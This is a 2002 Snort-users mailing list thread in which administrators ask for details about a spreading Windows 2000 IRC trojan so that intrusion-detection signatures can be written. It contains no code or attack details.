> Sent: Friday, September 06, 2002 3:14 PM
> To: Ian Macdonald; F.M. Taylor; snort-users at lists.sourceforge.net
> Subject: Re: [Snort-users] WIN2K IRC Trojan
> 
> 
> What are the details on the trojan?  I may have a copy on the way.
> 
> -Mike
> 
> At 03:53 PM 9/6/2002 -0400, Ian Macdonald wrote:
> >If anyone has any details on how this works please send them to the
> >snort-sigs mailing list so we can write some sigs.
> >
> >Ian
> >----- Original Message -----
> >From: "F.M. Taylor" <root at ...28...>
> >To: <snort-users at lists.sourceforge.net>
> >Sent: Friday, September 06, 2002 3:11 PM
> >Subject: [Snort-users] WIN2K IRC Trojan
> >
> >
> > >
> > > Dudez, wtf is up with this trojan/hack/bot/win2k exploit that seems to
> be
> > > speading itself fairly rapidly.  Is there a sig for this yet?  Does
> anyone
> > > even know how this thing is being spread??
> > >
> > >
> > > --
> > > Mike Taylor
> > > Coordinator of Systems Administration and Network Security
> > > Indiana State University.               Rankin Hall Rm 053
> > > 210 N 7th St.                           Terre Haute, IN.
> > > SANS GSEC  http://www.sans.org/
> > >
> > >
> > >
> > > -------------------------------------------------------
> > > This sf.net email is sponsored by: OSDN - Tired of that same old
> > > cell phone?  Get a new here for FREE!
> > > https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390
> > > _______________________________________________
> > > Snort-users mailing list
> > > Snort-users at lists.sourceforge.net
> > > Go to this URL to change user options or unsubscribe:
> > > https://lists.sourceforge.net/lists/listinfo/snort-users
> > > Snort-users list archive:
> > > http://www.geocrawler.com/redir-sf.php3?list=snort-users
> > >
> >
> >
> >
> >-------------------------------------------------------
> >This sf.net email is sponsored by: OSDN - Tired of that same old
> >cell phone?  Get a new here for FREE!
> >https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390
> >_______________________________________________
> >Snort-users mailing list
> >Snort-users at lists.sourceforge.net
> >Go to this URL to change user options or unsubscribe:
> >https://lists.sourceforge.net/lists/listinfo/snort-users
> >Snort-users list archive:
> >http://www.geocrawler.com/redir-sf.php3?list=snort-users
> 
> 
> 
> -------------------------------------------------------
> This sf.net email is sponsored by: OSDN - Tired of that same old
> cell phone?  Get a new here for FREE!
> https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390
> _______________________________________________
> Snort-users mailing list
> Snort-users at lists.sourceforge.net
> Go to this URL to change user options or unsubscribe:
> https://lists.sourceforge.net/lists/listinfo/snort-users
> Snort-users list archive:
> http://www.geocrawler.com/redir-sf.php3?list=snort-users
> 
> 
> -------------------------------------------------------
> This sf.net email is sponsored by: OSDN - Tired of that same old
> cell phone?  Get a new here for FREE!
> https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390
> _______________________________________________
> Snort-users mailing list
> Snort-users at lists.sourceforge.net
> Go to this URL to change user options or unsubscribe:
> https://lists.sourceforge.net/lists/listinfo/snort-users
> Snort-users list archive:
> http://www.geocrawler.com/redir-sf.php3?list=snort-users
> 


-- 
Mike Taylor
Coordinator of Systems Administration and Network Security
Indiana State University.               Rankin Hall Rm 053
210 N 7th St.                           Terre Haute, IN.
SANS GSEC  http://www.sans.org/





More information about the Snort-users mailing list